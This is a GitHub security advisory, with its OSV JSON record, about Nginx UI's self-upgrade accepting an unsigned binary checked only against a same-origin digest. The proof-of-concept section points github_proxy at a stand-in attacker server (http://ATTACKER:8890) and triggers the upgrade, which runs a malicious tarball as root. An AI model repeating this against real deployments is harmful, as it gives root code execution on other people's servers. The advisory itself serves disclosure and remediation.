GHSA-662P-52HX-CMH2
Vulnerability from github – Published: 2026-10-09 17:08 – Updated: 2026-10-09 17:08Summary
The self-upgrade downloads the release binary and its checksum (*.tar.gz and *.tar.gz.digest)
through the SAME endpoint (version.GetUrl(), which is github_proxy or, by default, the project's
cloud.nginxui.com mirror), and verifies the binary ONLY by comparing it to that digest:
digestFileContent == DigestSHA512(tarName). Both the binary and the digest come from the same
origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then
replaces the running executable (selfupdate.CommitBinary) and the process restarts, so the binary
runs as the nginx-ui user (typically root).
Because integrity rests only on a digest fetched from the same place as the binary, anyone who
controls that download path can substitute a malicious binary plus a matching digest and obtain code
execution as root on the next upgrade. Additionally, the github_proxy setting accepts http://
URLs, so the binary+digest can be fetched over cleartext.
Affected code
internal/version/url.go GetUrl(path)=<github_proxy or cloud.nginxui.com>/<path>— used for BOTH the binary and the digest.internal/upgrader/upgrade.go DownloadLatestRelease: digest URL and binary URL are both wrapped withGetUrl(), fetched, and checked withdigestFileContent == DigestSHA512(tarName). No signature verification anywhere ininternal/upgrader/.selfupdate.CommitBinarythen replaces the running binary; the process restarts.settings/http.go:GithubProxyaccepts any URL (binding:"omitempty,url"), includinghttp://.
Attack scenarios
A. Compromised mirror / CDN (primary). By default the binary+digest are routed through
cloud.nginxui.com. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is
hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades,
yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the
mirror). A binary signature would prevent this.
B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of
github_proxy; the field accepts http://, so the binary+digest are fetched in cleartext. An
attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router)
substitutes a malicious binary + matching digest -> root RCE on the next upgrade.
C. (mechanism demonstration) An authenticated user sets github_proxy to a server they control and
triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no
role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it
is included only to demonstrate that an unsigned attacker binary is accepted and executed.
Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism
An attacker HTTP server serves any *.tar.gz -> a malicious tarball (whose nginx-ui is a script
that writes a marker as whoever runs it) and any *.digest -> the SHA-512 of that tarball.
1. Set the download origin to the attacker server (here via github_proxy; in scenarios A/B this is
instead a compromised mirror / MITM): POST /api/settings with
http.github_proxy = http://ATTACKER:8890 -> 200. The field accepts the http URL.
2. Trigger the upgrade: WS GET /api/upgrade/perform, send {"channel":"stable"}.
3. Observed:
- The attacker server received BOTH
GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest and .../nginx-ui-linux-64.tar.gz
(over cleartext http).
- WS: "Downloading latest release" -> "Performing core upgrade" -> restart. The attacker tarball's
digest matched (attacker supplied both) -> integrity check PASSED, no signature checked.
- Inside the container: /tmp/UPGRADE_PWNED = UPGRADE_RCE_EXECUTED uid=0 -> the malicious binary
replaced nginx-ui and EXECUTED AS ROOT.
Impact
Root code execution on upgrade. Realistically reached by compromising the trusted download source (mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A cryptographic signature on the release binary would prevent all of these.
Honest scope / caveats
- Live-verified: the integrity-bypass MECHANISM — an unsigned binary plus a same-origin digest is accepted and executed as root, and the binary+digest are fetched over cleartext http when an http proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy).
- NOT staged (threat-model assumptions, not PoC artifacts): actually compromising
cloud.nginxui.com/ the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are standard attacker capabilities, marked here as analysis. - The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to
cloud.nginxui.com+GitHub plus the digest, so this is not "zero integrity" — the gap is the absence of a signature, which matters when the source is compromised or the transport is cleartext (http proxy).
Suggested fix
Verify the release binary against a cryptographic signature with a public key pinned in the nginx-ui
binary (or a digest fetched over an independent, pinned channel), not a digest from the same origin
as the binary. Reject http:// for github_proxy (require https). Consider treating github_proxy
as a protected setting.
Dedup / novelty
Distinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup tampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade integrity (checked osv.dev and the GitHub advisory database). Appears novel.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/0xJacky/Nginx-UI"
},
"ranges": [
{
"events": [
{
"introduced": "1.9.10-0.20250517140552-daee3ac7ade1"
},
{
"fixed": "1.9.10-0.20260728114330-580585516dd8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-107812"
],
"database_specific": {
"cwe_ids": [
"CWE-494"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T17:08:21Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nThe self-upgrade downloads the release binary and its checksum (`*.tar.gz` and `*.tar.gz.digest`)\nthrough the SAME endpoint (`version.GetUrl()`, which is `github_proxy` or, by default, the project\u0027s\n`cloud.nginxui.com` mirror), and verifies the binary ONLY by comparing it to that digest:\n`digestFileContent == DigestSHA512(tarName)`. Both the binary and the digest come from the same\norigin, and there is NO cryptographic signature / public-key verification. The downloaded binary then\nreplaces the running executable (`selfupdate.CommitBinary`) and the process restarts, so the binary\nruns as the nginx-ui user (typically root).\n\nBecause integrity rests only on a digest fetched from the same place as the binary, anyone who\ncontrols that download path can substitute a malicious binary plus a matching digest and obtain code\nexecution as root on the next upgrade. Additionally, the `github_proxy` setting accepts `http://`\nURLs, so the binary+digest can be fetched over cleartext.\n\n## Affected code\n- `internal/version/url.go GetUrl(path)` = `\u003cgithub_proxy or cloud.nginxui.com\u003e/\u003cpath\u003e` \u2014 used for\n BOTH the binary and the digest.\n- `internal/upgrader/upgrade.go DownloadLatestRelease`: digest URL and binary URL are both wrapped\n with `GetUrl()`, fetched, and checked with `digestFileContent == DigestSHA512(tarName)`. No\n signature verification anywhere in `internal/upgrader/`.\n- `selfupdate.CommitBinary` then replaces the running binary; the process restarts.\n- `settings/http.go`: `GithubProxy` accepts any URL (`binding:\"omitempty,url\"`), including `http://`.\n\n## Attack scenarios\nA. Compromised mirror / CDN (primary). By default the binary+digest are routed through\n `cloud.nginxui.com`. If that mirror (or the GitHub release CDN) is compromised \u2014 or DNS/BGP is\n hijacked \u2014 it can serve a malicious binary + matching digest to EVERY instance that upgrades,\n yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the\n mirror). A binary signature would prevent this.\nB. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of\n `github_proxy`; the field accepts `http://`, so the binary+digest are fetched in cleartext. An\n attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router)\n substitutes a malicious binary + matching digest -\u003e root RCE on the next upgrade.\nC. (mechanism demonstration) An authenticated user sets `github_proxy` to a server they control and\n triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no\n role separation) such a user is admin-equivalent, so on its own this path is self-inflicted \u2014 it\n is included only to demonstrate that an unsigned attacker binary is accepted and executed.\n\n## Proof of Concept (live, official image uozi/nginx-ui:2.3.11) \u2014 mechanism\nAn attacker HTTP server serves any `*.tar.gz` -\u003e a malicious tarball (whose `nginx-ui` is a script\nthat writes a marker as whoever runs it) and any `*.digest` -\u003e the SHA-512 of that tarball.\n1. Set the download origin to the attacker server (here via `github_proxy`; in scenarios A/B this is\n instead a compromised mirror / MITM): `POST /api/settings` with\n `http.github_proxy = http://ATTACKER:8890` -\u003e 200. The field accepts the http URL.\n2. Trigger the upgrade: WS `GET /api/upgrade/perform`, send `{\"channel\":\"stable\"}`.\n3. Observed:\n - The attacker server received BOTH\n `GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digest` and `.../nginx-ui-linux-64.tar.gz`\n (over cleartext http).\n - WS: \"Downloading latest release\" -\u003e \"Performing core upgrade\" -\u003e restart. The attacker tarball\u0027s\n digest matched (attacker supplied both) -\u003e integrity check PASSED, no signature checked.\n - Inside the container: `/tmp/UPGRADE_PWNED` = `UPGRADE_RCE_EXECUTED uid=0` -\u003e the malicious binary\n replaced nginx-ui and EXECUTED AS ROOT.\n\n## Impact\nRoot code execution on upgrade. Realistically reached by compromising the trusted download source\n(mirror/CDN, scenario A \u2014 fleet-wide) or by MITM of a cleartext http proxy (scenario B). A\ncryptographic signature on the release binary would prevent all of these.\n\n## Honest scope / caveats\n- Live-verified: the integrity-bypass MECHANISM \u2014 an unsigned binary plus a same-origin digest is\n accepted and executed as root, and the binary+digest are fetched over cleartext http when an http\n proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy).\n- NOT staged (threat-model assumptions, not PoC artifacts): actually compromising `cloud.nginxui.com`\n / the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are\n standard attacker capabilities, marked here as analysis.\n- The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to `cloud.nginxui.com`+GitHub\n plus the digest, so this is not \"zero integrity\" \u2014 the gap is the absence of a signature, which\n matters when the source is compromised or the transport is cleartext (http proxy).\n\n## Suggested fix\nVerify the release binary against a cryptographic signature with a public key pinned in the nginx-ui\nbinary (or a digest fetched over an independent, pinned channel), not a digest from the same origin\nas the binary. Reject `http://` for `github_proxy` (require https). Consider treating `github_proxy`\nas a protected setting.\n\n## Dedup / novelty\nDistinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup\ntampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade\nintegrity (checked osv.dev and the GitHub advisory database). Appears novel.",
"id": "GHSA-662p-52hx-cmh2",
"modified": "2026-10-09T17:08:21Z",
"published": "2026-10-09T17:08:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-662p-52hx-cmh2"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/commit/580585516dd87a8b176bcdac258db70c3b64b7ec"
},
{
"type": "PACKAGE",
"url": "https://github.com/0xJacky/nginx-ui"
},
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.5.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest \u2192 RCE via a compromised mirror or MITM"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.